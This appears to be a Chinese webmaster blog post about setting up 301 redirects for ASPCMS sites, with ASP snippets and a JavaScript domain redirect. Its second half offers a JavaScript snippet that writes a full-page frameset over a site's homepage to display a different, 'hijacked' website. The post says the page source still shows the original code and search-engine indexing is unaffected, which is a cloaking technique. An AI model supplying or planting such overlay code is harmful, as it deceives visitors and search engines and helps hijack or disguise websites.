aspcms静态设置301 通过js实现

aspcms建站比较灵活方便,就是设置301比较费劲,比较常见的那几种方法,亲测后没什么效果如:

一、<%
Response.Status=”301 Moved Permanently”
Response.AddHeader “Location”,”http://www.keduo100.cn”
Response.End
%>

写在asp文件里,不仅没用,网站还报错

二、<%
website=request.ServerVariables(“Server_name”)
if website=”wlhua.com” then
Response.Status=”301 Moved Permanently”
Response.AddHeader “Location”,”http://www.keduo100.cn/”
end if
%>

写在配置里,同样没用

三、<%
if request.ServerVariables(“HTTP_HOST”)=”keduo100.cn” then
Response.Status=”301 Moved Permanently”
Response.AddHeader “Location”,”http://www.keduo100.cn”
Response.End
end if
%>这个就更离谱啦,说的是静态效果,网上搜的还都是这种的,根本不能用

下面自己写js就可以直接实现aspcms首页实现对应的效果啦:

<script>
host=document.domain;
if(host == ‘keduo100.cn’){
window.location.href = “http://www.keduo100.cn”;
}
</script>

这种方法才可以实现aspcms的301效果

js实现覆盖首页不改变首页内容效果

整个页面覆盖,显示劫持的网页,源码看到的还是原来网站的代码

document.writeln(“<script language = javascript>”);

document.writeln(“document.write(\”<frameset rows=\’100%,*\’ frameborder=\’NO\’ border=\’0\’ framespacing=\’0\’>\”);”);

document.writeln(“document.write(\”<frame name=\’main\’ src=\’http:\/\/www.qsglsb.com\’ scrolling=yes>\”);”);

document.writeln(“document.write(\”<\/frameset>\”);”);

document.writeln(“<\/script>”);

这段代码写入js,加载后就是对应的效果,百度收录和覆盖的内容不冲突